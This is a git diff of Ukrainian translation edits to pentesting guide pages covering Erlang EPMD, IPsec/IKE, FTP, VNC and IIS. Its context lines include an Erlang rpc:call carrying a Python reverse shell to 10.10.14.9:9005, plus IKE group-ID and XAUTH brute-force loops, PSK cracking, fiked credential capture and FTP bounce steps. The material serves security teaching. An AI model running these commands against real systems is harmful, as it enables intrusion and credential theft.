Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
||||
@ -57,7 +57,9 @@ At last, we can start an erlang shell on the remote system.
|
||||
Більше інформації в [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
Автор також ділиться програмою для брутфорсу куки:
|
||||
|
||||
{% file src="../images/epmd_bf-0.1.tar.bz2" %}
|
||||
{{#file}}
|
||||
epmd_bf-0.1.tar.bz2
|
||||
{{#endfile}}
|
||||
|
||||
## Локальне з'єднання
|
||||
|
||||
@ -69,7 +71,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
||||
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
||||
```
|
||||
Приклад взятий з [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
|
||||
Ви можете використовувати **Canape HTB machine для** **практики** того, як **використати цю уразливість**.
|
||||
Ви можете використовувати **Canape HTB machine to** **practice** як **використати цю уразливість**.
|
||||
|
||||
## Metasploit
|
||||
```bash
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## Основна інформація
|
||||
|
||||
**IPsec** широко визнаний як основна технологія для забезпечення безпеки комунікацій між мережами (LAN-to-LAN) та від віддалених користувачів до мережевого шлюзу (віддалений доступ), слугуючи основою для корпоративних VPN-рішень.
|
||||
**IPsec** широко визнаний як основна технологія для забезпечення безпеки комунікацій між мережами (LAN-to-LAN) та від віддалених користувачів до мережевого шлюзу (віддалений доступ), слугуючи основою для корпоративних VPN рішень.
|
||||
|
||||
Встановлення **асоціації безпеки (SA)** між двома точками управляється **IKE**, який працює під егідою ISAKMP, протоколу, призначеного для аутентифікації та обміну ключами. Цей процес розгортається в кілька фаз:
|
||||
|
||||
- **Фаза 1:** Створюється захищений канал між двома кінцевими точками. Це досягається за допомогою попередньо поділеного ключа (PSK) або сертифікатів, використовуючи або основний режим, який включає три пари повідомлень, або **агресивний режим**.
|
||||
- **Фаза 1.5:** Хоча ця фаза не є обов'язковою, вона, відома як Фаза розширеної аутентифікації, перевіряє особу користувача, який намагається підключитися, вимагаючи ім'я користувача та пароль.
|
||||
- **Фаза 2:** Ця фаза присвячена узгодженню параметрів для забезпечення безпеки даних за допомогою **ESP** та **AH**. Вона дозволяє використовувати алгоритми, відмінні від тих, що використовуються в Фазі 1, для забезпечення **Ідеальної впередньої секретності (PFS)**, що підвищує безпеку.
|
||||
- **Фаза 1.5:** Хоча не є обов'язковою, ця фаза, відома як Фаза розширеної аутентифікації, перевіряє особу користувача, який намагається підключитися, вимагаючи ім'я користувача та пароль.
|
||||
- **Фаза 2:** Ця фаза присвячена узгодженню параметрів для забезпечення безпеки даних за допомогою **ESP** та **AH**. Вона дозволяє використовувати алгоритми, відмінні від тих, що в Фазі 1, для забезпечення **Ідеальної впередньої секретності (PFS)**, що підвищує безпеку.
|
||||
|
||||
**Порт за замовчуванням:** 500/udp
|
||||
|
||||
@ -30,7 +30,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||
|
||||
Отже, перше, що вам потрібно зробити, це **знайти дійсну трансформацію**, щоб сервер міг з вами спілкуватися. Для цього ви можете використовувати інструмент **ike-scan**. За замовчуванням Ike-scan працює в основному режимі і надсилає пакет до шлюзу з заголовком ISAKMP і єдиною пропозицією з **вісімкою трансформацій всередині**.
|
||||
|
||||
В залежності від відповіді ви можете отримати деяку інформацію про кінцеву точку:
|
||||
Залежно від відповіді ви можете отримати деяку інформацію про кінцеву точку:
|
||||
```
|
||||
root@bt:~# ike-scan -M 172.16.21.200
|
||||
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
||||
@ -41,16 +41,16 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
||||
|
||||
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
||||
```
|
||||
Як ви можете бачити в попередній відповіді, є поле під назвою **AUTH** зі значенням **PSK**. Це означає, що VPN налаштовано з використанням попередньо поділеного ключа (і це дійсно добре для пентестера).\
|
||||
Як ви можете бачити в попередній відповіді, є поле **AUTH** зі значенням **PSK**. Це означає, що VPN налаштовано з використанням попередньо поділеного ключа (і це дійсно добре для пентестера).\
|
||||
**Значення останнього рядка також дуже важливе:**
|
||||
|
||||
- _0 повернено handshake; 0 повернено notify:_ Це означає, що ціль **не є IPsec шлюзом**.
|
||||
- _**1 повернено handshake; 0 повернено notify:**_ Це означає, що **ціль налаштована для IPsec і готова до проведення IKE переговорів, і один або більше з трансформацій, які ви запропонували, є прийнятними** (дійсна трансформація буде показана в виході).
|
||||
- _**1 повернено handshake; 0 повернено notify:**_ Це означає, що **ціль налаштована для IPsec і готова виконати переговори IKE, і один або більше з трансформацій, які ви запропонували, є прийнятними** (дійсна трансформація буде показана в виході).
|
||||
- _0 повернено handshake; 1 повернено notify:_ Шлюзи VPN відповідають повідомленням notify, коли **жодна з трансформацій не є прийнятною** (хоча деякі шлюзи цього не роблять, у такому випадку слід провести подальший аналіз і спробувати переглянуту пропозицію).
|
||||
|
||||
Отже, в цьому випадку у нас вже є дійсна трансформація, але якщо ви в 3-му випадку, то вам потрібно **трохи брутфорсити, щоб знайти дійсну трансформацію:**
|
||||
|
||||
По-перше, вам потрібно створити всі можливі трансформації:
|
||||
Перш за все, вам потрібно створити всі можливі трансформації:
|
||||
```bash
|
||||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||||
```
|
||||
@ -58,11 +58,11 @@ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for A
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
Якщо брутфорс не спрацював, можливо, сервер відповідає без рукостискань навіть на дійсні трансформації. Тоді ви можете спробувати той же брутфорс, але використовуючи агресивний режим:
|
||||
Якщо brute-force не спрацював, можливо, сервер відповідає без рукостискань навіть на дійсні трансформації. Тоді ви можете спробувати той же brute-force, але використовуючи агресивний режим:
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
Сподіваюсь, **дійсна трансформація буде відображена назад**.\
|
||||
Сподіваюсь, **дійсна трансформація буде відображена**.\
|
||||
Ви можете спробувати **ту ж атаку** за допомогою [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
|
||||
Ви також можете спробувати брутфорс трансформацій за допомогою [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
||||
```bash
|
||||
@ -71,17 +71,17 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
|
||||
.png>)
|
||||
|
||||
У **DH Group: 14 = 2048-бітний MODP** та **15 = 3072-бітний**\
|
||||
**2 = HMAC-SHA = SHA1 (в цьому випадку). Формат `--trans` є $Enc,$Hash,$Auth,$DH**
|
||||
**2 = HMAC-SHA = SHA1 (в цьому випадку). Формат `--trans` це $Enc,$Hash,$Auth,$DH**
|
||||
|
||||
Cisco вказує уникати використання DH груп 1 та 2, оскільки вони недостатньо сильні. Експерти вважають, що **країни з великою кількістю ресурсів можуть легко зламати шифрування** даних, які використовують ці слабкі групи. Це робиться за допомогою спеціального методу, який готує їх до швидкого зламу кодів. Хоча налаштування цього методу коштує багато грошей, він дозволяє цим потужним країнам читати зашифровані дані в реальному часі, якщо вони використовують групу, яка не є сильною (наприклад, 1,024-бітну або меншу).
|
||||
|
||||
### Відбитки серверів
|
||||
### Визначення відбитка сервера
|
||||
|
||||
Потім ви можете використовувати ike-scan, щоб спробувати **виявити постачальника** пристрою. Інструмент надсилає початкову пропозицію і зупиняє повторення. Потім, він **аналізує** **різницю** **в часі** **між** отриманими **повідомленнями** від сервера та відповідним шаблоном відповіді, пентестер може успішно визначити постачальника VPN шлюзу. Більше того, деякі VPN сервери використовуватимуть необов'язковий **Vendor ID (VID) payload** з IKE.
|
||||
Потім ви можете використовувати ike-scan, щоб спробувати **виявити постачальника** пристрою. Інструмент надсилає початкову пропозицію і зупиняє повторення. Потім він **аналізує** **різницю** **в часі** **між** отриманими **повідомленнями** від сервера та відповідним шаблоном відповіді, що дозволяє пентестеру успішно визначити постачальника VPN шлюзу. Більше того, деякі VPN сервери використовують необов'язковий **Vendor ID (VID) payload** з IKE.
|
||||
|
||||
**Вкажіть дійсну трансформацію, якщо потрібно** (використовуючи --trans)
|
||||
|
||||
Якщо IKE виявить, який постачальник, він надрукує це:
|
||||
Якщо IKE виявить, який постачальник, він надрукує його:
|
||||
```
|
||||
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
|
||||
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
||||
@ -105,32 +105,32 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
|
||||
|
||||
## Знаходження правильного ID (імені групи)
|
||||
|
||||
Щоб мати можливість захопити хеш, вам потрібна дійсна трансформація, що підтримує агресивний режим, і правильний ID (ім'я групи). Ви, ймовірно, не будете знати дійсне ім'я групи, тому вам доведеться його перебрати.\
|
||||
Для цього я рекомендую вам 2 методи:
|
||||
Щоб мати можливість захопити хеш, вам потрібна дійсна трансформація, що підтримує Aggressive mode, та правильний ID (ім'я групи). Ви, ймовірно, не будете знати дійсне ім'я групи, тому вам доведеться його перебрати.\
|
||||
Для цього я б рекомендував вам 2 методи:
|
||||
|
||||
### Перебір ID з ike-scan
|
||||
### Брутфорс ID з ike-scan
|
||||
|
||||
По-перше, спробуйте надіслати запит з фальшивим ID, намагаючись зібрати хеш ("-P"):
|
||||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
Якщо **не повертається хеш**, то, ймовірно, цей метод брутфорсу спрацює. **Якщо повертається якийсь хеш, це означає, що буде надіслано фальшивий хеш для фальшивого ID, тому цей метод не буде надійним** для брутфорсу ID. Наприклад, може бути повернуто фальшивий хеш (це трапляється в сучасних версіях):
|
||||
Якщо **не повертається хеш**, то, ймовірно, цей метод брутфорсу спрацює. **Якщо повертається якийсь хеш, це означає, що буде надіслано підроблений хеш для підробленого ID, тому цей метод не буде надійним** для брутфорсу ID. Наприклад, може бути повернуто підроблений хеш (це трапляється в сучасних версіях):
|
||||
|
||||
.png>)
|
||||
|
||||
Але якщо, як я вже сказав, не повертається хеш, то вам слід спробувати брутфорсити загальні назви груп, використовуючи ike-scan.
|
||||
|
||||
Цей скрипт **спробує брутфорсити можливі ID** і поверне ID, для яких повертається дійсна рукавица (це буде дійсна назва групи).
|
||||
Цей скрипт **спробує брутфорсити можливі ID** і поверне ID, для яких повертається дійсна рукопожаття (це буде дійсна назва групи).
|
||||
|
||||
Якщо ви виявили конкретну трансформацію, додайте її в команду ike-scan. І якщо ви виявили кілька трансформацій, не соромтеся додати новий цикл, щоб спробувати їх усі (вам слід спробувати їх усі, поки один з них не спрацює належним чином).
|
||||
|
||||
Ви можете використовувати [словник ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) або [той, що в seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) загальних назв груп для брутфорсу:
|
||||
Ви можете використовувати [словник ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) або [той, що в seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) з загальними назвами груп для брутфорсу:
|
||||
```bash
|
||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||
```
|
||||
Або використовуйте цей словник (це комбінація інших 2 словників без повторень):
|
||||
|
||||
{% file src="../images/vpnIDs.txt" %}
|
||||
{{#file}}
|
||||
vpnIDs.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Брутфорс ID з Iker
|
||||
|
||||
@ -138,14 +138,14 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
|
||||
|
||||
### Брутфорс ID з ikeforce
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) - це інструмент, який також можна використовувати для **брутфорсу ID**. Цей інструмент **спробує експлуатувати різні вразливості**, які можуть бути використані для **відрізнення між дійсним і недійсним ID** (можуть бути хибнопозитивні та хибнонегативні результати, тому я надаю перевагу методу ike-scan, якщо це можливо).
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) - це інструмент, який також можна використовувати для **брутфорсу ID**. Цей інструмент **спробує експлуатувати різні вразливості**, які можуть бути використані для **відрізнення між дійсним і недійсним ID** (можуть бути хибнопозитивні та хибнонегативні результати, тому я віддаю перевагу методу ike-scan, якщо це можливо).
|
||||
|
||||
За замовчуванням **ikeforce** на початку відправить кілька випадкових ID, щоб перевірити поведінку сервера та визначити тактику використання.
|
||||
|
||||
- **Перший метод** полягає в брутфорсі імен груп, **шукаючи** інформацію **Dead Peer Detection DPD** систем Cisco (ця інформація відправляється сервером лише якщо ім'я групи правильне).
|
||||
- **Другий метод**, що доступний, полягає в **перевірці кількості відповідей, надісланих на кожну спробу**, оскільки іноді надсилається більше пакетів, коли використовується правильний ID.
|
||||
- **Перший метод** полягає в брутфорсі імен груп, **шукаючи** інформацію **Dead Peer Detection DPD** систем Cisco (ця інформація повторюється сервером лише якщо ім'я групи правильне).
|
||||
- **Другий метод** полягає в **перевірці кількості відповідей, надісланих на кожну спробу**, оскільки іноді надсилається більше пакетів, коли використовується правильний ID.
|
||||
- **Третій метод** полягає в **пошуку "INVALID-ID-INFORMATION" у відповідь на неправильний ID**.
|
||||
- Нарешті, якщо сервер не відповідає на перевірки, **ikeforce** спробує брутфорсити сервер і перевірити, чи відповідає сервер надісланим пакетом, коли правильний ID відправлений.\
|
||||
- Нарешті, якщо сервер не відповідає на перевірки, **ikeforce** спробує брутфорсити сервер і перевірити, чи відповідає сервер на правильний ID якимось пакетом.\
|
||||
Очевидно, мета брутфорсу ID - отримати **PSK**, коли у вас є дійсний ID. Потім, з **ID** та **PSK** вам потрібно буде брутфорсити XAUTH (якщо він увімкнений).
|
||||
|
||||
Якщо ви виявили конкретну трансформацію, додайте її в команду ikeforce. І якщо ви виявили кілька трансформацій, не соромтеся додати новий цикл, щоб спробувати їх усі (вам слід спробувати їх усі, поки один з них не спрацює належним чином).
|
||||
@ -159,7 +159,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
```
|
||||
### Sniffing ID
|
||||
|
||||
(З книги **Оцінка безпеки мережі: Знайте свою мережу**): Також можливо отримати дійсні імена користувачів, підслуховуючи з'єднання між VPN-клієнтом і сервером, оскільки перший пакет агресивного режиму, що містить ID клієнта, надсилається у відкритому вигляді.
|
||||
(From the book **Network Security Assessment: Know Your Network**): Також можливо отримати дійсні імена користувачів, перехоплюючи з'єднання між VPN-клієнтом і сервером, оскільки перший пакет агресивного режиму, що містить ID клієнта, надсилається у відкритому вигляді.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -171,19 +171,19 @@ ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported
|
||||
```
|
||||
Хеш буде збережено в _hash.txt_.
|
||||
|
||||
Ви можете використовувати **psk-crack**, **john** (використовуючи [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) та **hashcat** для **зламу** хешу:
|
||||
Ви можете використовувати **psk-crack**, **john** (використовуючи [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) та **hashcat** для **crack** хешу:
|
||||
```bash
|
||||
psk-crack -d <Wordlist_path> psk.txt
|
||||
```
|
||||
## **XAuth**
|
||||
|
||||
**Агресивний режим IKE** в поєднанні з **попередньо поділеним ключем (PSK)** зазвичай використовується для цілей **групової аутентифікації**. Цей метод доповнюється **XAuth (Розширена аутентифікація)**, яка служить для введення додаткового рівня **аутентифікації користувача**. Така аутентифікація зазвичай використовує сервіси, такі як **Microsoft Active Directory**, **RADIUS** або подібні системи.
|
||||
**Агресивний режим IKE** в поєднанні з **попередньо поділеним ключем (PSK)** зазвичай використовується для **групової аутентифікації**. Цей метод доповнюється **XAuth (Розширена аутентифікація)**, яка служить для введення додаткового рівня **аутентифікації користувача**. Така аутентифікація зазвичай використовує сервіси, такі як **Microsoft Active Directory**, **RADIUS** або подібні системи.
|
||||
|
||||
Перехід до **IKEv2** демонструє помітну зміну, де **EAP (Розширювальний протокол аутентифікації)** використовується замість **XAuth** для аутентифікації користувачів. Ця зміна підкреслює еволюцію практик аутентифікації в рамках протоколів безпечного зв'язку.
|
||||
Перехід до **IKEv2** демонструє помітну зміну, де **EAP (Розширений протокол аутентифікації)** використовується замість **XAuth** для аутентифікації користувачів. Ця зміна підкреслює еволюцію практик аутентифікації в рамках протоколів безпечного зв'язку.
|
||||
|
||||
### Локальна мережа MitM для захоплення облікових даних
|
||||
|
||||
Отже, ви можете захопити дані входу, використовуючи _fiked_, і перевірити, чи є якийсь стандартний логін (вам потрібно перенаправити трафік IKE на `fiked` для прослуховування, що можна зробити за допомогою ARP спуфінгу, [більше інформації](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked буде діяти як кінцева точка VPN і захопить облікові дані XAuth:
|
||||
Отже, ви можете захопити дані входу, використовуючи _fiked_, і перевірити, чи є якийсь стандартний логін (Вам потрібно перенаправити трафік IKE на `fiked` для прослуховування, що можна зробити за допомогою ARP спуфінгу, [більше інформації](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked буде діяти як VPN-кінець і захопить облікові дані XAuth:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
@ -191,7 +191,7 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
|
||||
### Брутфорсинг імені користувача та пароля XAUTH за допомогою ikeforce
|
||||
|
||||
Щоб брутфорсити **XAUTH** (коли ви знаєте дійсну назву групи **id** та **psk**), ви можете використовувати ім'я користувача або список імен користувачів і список паролів:
|
||||
Щоб здійснити брутфорс **XAUTH** (коли ви знаєте дійсну назву групи **id** та **psk**), ви можете використовувати ім'я користувача або список імен користувачів та список паролів:
|
||||
```bash
|
||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||
```
|
||||
|
@ -14,11 +14,11 @@ PORT STATE SERVICE
|
||||
```
|
||||
### З'єднання Активні та Пасивні
|
||||
|
||||
В **Активному FTP** FTP **клієнт** спочатку **ініціює** контрольне **з'єднання** з порту N до командного порту FTP сервера – порту 21. Потім **клієнт** **прослуховує** порт **N+1** і надсилає порт N+1 на FTP сервер. FTP **сервер** потім **ініціює** дане **з'єднання**, з **його порту M до порту N+1** FTP клієнта.
|
||||
В **Активному FTP** FTP **клієнт** спочатку **ініціює** контрольне **з'єднання** з порту N до командного порту FTP сервера – порту 21. Потім **клієнт** **прослуховує** порт **N+1** і надсилає порт N+1 до FTP сервера. FTP **сервер** потім **ініціює** з'єднання для передачі даних, з **його порту M до порту N+1** FTP клієнта.
|
||||
|
||||
Але, якщо у FTP клієнта налаштований брандмауер, який контролює вхідні дані з'єднання ззовні, тоді активний FTP може бути проблемою. І, доцільним рішенням для цього є Пасивний FTP.
|
||||
Але, якщо у FTP клієнта налаштований брандмауер, який контролює вхідні з'єднання для передачі даних ззовні, тоді активний FTP може бути проблемою. І, доцільним рішенням для цього є Пасивний FTP.
|
||||
|
||||
В **Пасивному FTP** клієнт ініціює контрольне з'єднання з порту N до порту 21 FTP сервера. Після цього клієнт видає **команду passv**. Сервер потім надсилає клієнту один з його номерів порту M. І **клієнт** **ініціює** дане **з'єднання** з **його порту P до порту M** FTP сервера.
|
||||
В **Пасивному FTP** клієнт ініціює контрольне з'єднання з порту N до порту 21 FTP сервера. Після цього клієнт видає **команду passv**. Сервер потім надсилає клієнту один зі своїх номерів порту M. І **клієнт** **ініціює** з'єднання для передачі даних з **його порту P до порту M** FTP сервера.
|
||||
|
||||
Джерело: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
@ -105,7 +105,7 @@ ftp <IP>
|
||||
|
||||
### Automated
|
||||
|
||||
Анонімний вхід та перевірки bounce FTP виконуються за замовчуванням nmap з опцією **-sC** або:
|
||||
Anon login та bounce FTP перевірки виконуються за замовчуванням nmap з опцією **-sC** або:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
@ -131,13 +131,13 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
- **`USER username`**
|
||||
- **`PASS password`**
|
||||
- **`HELP`** Сервер вказує, які команди підтримуються
|
||||
- **`PORT 127,0,0,1,0,80`** Це вказує FTP серверу встановити з'єднання з IP 127.0.0.1 на порту 80 (_вам потрібно вказати 5-й символ як "0", а 6-й як порт у десятковій системі або використати 5-й і 6-й для вираження порту в шістнадцятковій системі_).
|
||||
- **`PORT 127,0,0,1,0,80`** Це вказує FTP серверу встановити з'єднання з IP 127.0.0.1 на порту 80 (_необхідно вказати 5-й символ як "0", а 6-й як порт у десятковій системі або використати 5-й і 6-й для вираження порту в шістнадцятковій системі_).
|
||||
- **`EPRT |2|127.0.0.1|80|`** Це вказує FTP серверу встановити TCP з'єднання (_вказане "2"_) з IP 127.0.0.1 на порту 80. Ця команда **підтримує IPv6**.
|
||||
- **`LIST`** Це надішле список файлів у поточній папці
|
||||
- **`LIST -R`** Список рекурсивно (якщо дозволено сервером)
|
||||
- **`APPE /path/something.txt`** Це вказує FTP зберегти дані, отримані з **пасивного** з'єднання або з **PORT/EPRT** з'єднання, у файл. Якщо ім'я файлу існує, дані будуть додані.
|
||||
- **`STOR /path/something.txt`** Як `APPE`, але він перезапише файли
|
||||
- **`STOU /path/something.txt`** Як `APPE`, але якщо існує, нічого не зробить.
|
||||
- **`STOR /path/something.txt`** Як `APPE`, але перезаписує файли
|
||||
- **`STOU /path/something.txt`** Як `APPE`, але якщо існує, нічого не робить.
|
||||
- **`RETR /path/to/file`** Має бути встановлено пасивне або портове з'єднання. Тоді FTP сервер надішле вказаний файл через це з'єднання
|
||||
- **`REST 6`** Це вказує серверу, що наступного разу, коли він надішле щось за допомогою `RETR`, він повинен почати з 6-го байта.
|
||||
- **`TYPE i`** Встановити передачу в двійковому форматі
|
||||
@ -160,13 +160,13 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
3. **Використовуйте `PORT`, щоб підключитися до довільного сервера та служби**
|
||||
4. **Використовуйте `RETR`, щоб надіслати збережений запит на сервер.**
|
||||
|
||||
Імовірно, це **викличе помилку, як** _**Socket not writable**_ **тому що з'єднання не триває достатньо довго, щоб надіслати дані за допомогою `RETR`**. Пропозиції, щоб спробувати уникнути цього:
|
||||
Імовірно, це **викличе помилку, як** _**Socket not writable**_ **тому що з'єднання не триває достатньо довго, щоб надіслати дані з `RETR`**. Пропозиції, щоб спробувати уникнути цього:
|
||||
|
||||
- Якщо ви надсилаєте HTTP запит, **поставте той же запит один за одним** до **\~0.5MB** принаймні. Ось так:
|
||||
|
||||
{% file src="../../images/posts.txt" %}
|
||||
{{#file}}
|
||||
posts.txt
|
||||
{% endfile %}
|
||||
{{#endfile}}
|
||||
|
||||
- Спробуйте **заповнити запит "сміттєвими" даними, що стосуються протоколу** (говорячи про FTP, можливо, просто сміттєві команди або повторюючи інструкцію `RETR`, щоб отримати файл)
|
||||
- Просто **заповніть запит великою кількістю нульових символів або інших** (розділених на рядки або ні)
|
||||
@ -184,9 +184,9 @@ ftp.conf
|
||||
proftpd.conf
|
||||
vsftpd.conf
|
||||
```
|
||||
### Пост-експлуатація
|
||||
### Пост-Експлуатація
|
||||
|
||||
За замовчуванням конфігурація vsFTPd може бути знайдена в `/etc/vsftpd.conf`. Тут ви можете знайти деякі небезпечні налаштування:
|
||||
Конфігурацію за замовчуванням vsFTPd можна знайти в `/etc/vsftpd.conf`. Тут ви можете знайти деякі небезпечні налаштування:
|
||||
|
||||
- `anonymous_enable=YES`
|
||||
- `anon_upload_enable=YES`
|
||||
@ -195,7 +195,7 @@ vsftpd.conf
|
||||
- `chown_uploads=YES` - Змінити власність анонімно завантажених файлів
|
||||
- `chown_username=username` - Користувач, якому надається власність на анонімно завантажені файли
|
||||
- `local_enable=YES` - Дозволити локальним користувачам входити в систему
|
||||
- `no_anon_password=YES` - Не запитувати анонімного користувача про пароль
|
||||
- `no_anon_password=YES` - Не запитувати анонімних користувачів про пароль
|
||||
- `write_enable=YES` - Дозволити команди: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, та SITE
|
||||
|
||||
### Shodan
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Основна інформація
|
||||
|
||||
**Virtual Network Computing (VNC)** - це надійна система спільного використання графічного робочого столу, яка використовує протокол **Remote Frame Buffer (RFB)** для забезпечення віддаленого керування та співпраці з іншим комп'ютером. За допомогою VNC користувачі можуть безперешкодно взаємодіяти з віддаленим комп'ютером, передаючи події клавіатури та миші в обох напрямках. Це дозволяє отримувати доступ у реальному часі та сприяє ефективній віддаленій допомозі або співпраці через мережу.
|
||||
@ -32,15 +31,16 @@ vncviewer [-passwd passwd.txt] <IP>::5901
|
||||
make
|
||||
vncpwd <vnc password file>
|
||||
```
|
||||
Ви можете це зробити, тому що пароль, використаний всередині 3des для шифрування відкритих VNC паролів, був зламаний багато років тому.\
|
||||
Ви можете це зробити, тому що пароль, використаний у 3des для шифрування звичайних VNC паролів, був зламаний багато років тому.\
|
||||
Для **Windows** ви також можете використовувати цей інструмент: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||
Я також зберігаю інструмент тут для зручності доступу:
|
||||
|
||||
{% file src="../images/vncpwd.zip" %}
|
||||
{{#file}}
|
||||
vncpwd.zip
|
||||
{{#endfile}}
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:5900 RFB`
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -16,7 +16,7 @@
|
||||
nc -v domain.com 80
|
||||
openssl s_client -connect domain.com:443
|
||||
```
|
||||
Відповідь, що розкриває внутрішню IP-адресу:
|
||||
Відповідь, що розкриває внутрішню IP:
|
||||
```
|
||||
GET / HTTP/1.0
|
||||
|
||||
@ -37,7 +37,9 @@ X-FEServer: NHEXCHANGE2016
|
||||
|
||||
Завантажте список, який я створив:
|
||||
|
||||
{% file src="../../images/iisfinal.txt" %}
|
||||
{{#file}}
|
||||
iisfinal.txt
|
||||
{{#endfile}}
|
||||
|
||||
Він був створений шляхом об'єднання вмісту наступних списків:
|
||||
|
||||
@ -54,14 +56,14 @@ X-FEServer: NHEXCHANGE2016
|
||||
|
||||
### Витік вихідного коду
|
||||
|
||||
Перевірте повний опис у: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
Перегляньте повний опис на: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
|
||||
> [!NOTE]
|
||||
> Як підсумок, існує кілька web.config файлів всередині папок програми з посиланнями на "**assemblyIdentity**" файли та "**namespaces**". З цією інформацією можливо дізнатися **де розташовані виконувані файли** та завантажити їх.\
|
||||
> З **завантажених Dlls** також можливо знайти **нові namespaces**, до яких ви повинні спробувати отримати доступ і отримати web.config файл, щоб знайти нові namespaces та assemblyIdentity.\
|
||||
> Як підсумок, існує кілька web.config файлів всередині папок програми з посиланнями на "**assemblyIdentity**" файли та "**namespaces**". З цією інформацією можна дізнатися **де розташовані виконувані файли** та завантажити їх.\
|
||||
> З **завантажених Dlls** також можна знайти **нові простори імен**, до яких слід спробувати отримати доступ і отримати файл web.config, щоб знайти нові простори імен та assemblyIdentity.\
|
||||
> Також файли **connectionstrings.config** та **global.asax** можуть містити цікаву інформацію.\\
|
||||
|
||||
У **.Net MVC додатках** файл **web.config** відіграє важливу роль, вказуючи на кожен бінарний файл, на який покладається програма через **"assemblyIdentity"** XML теги.
|
||||
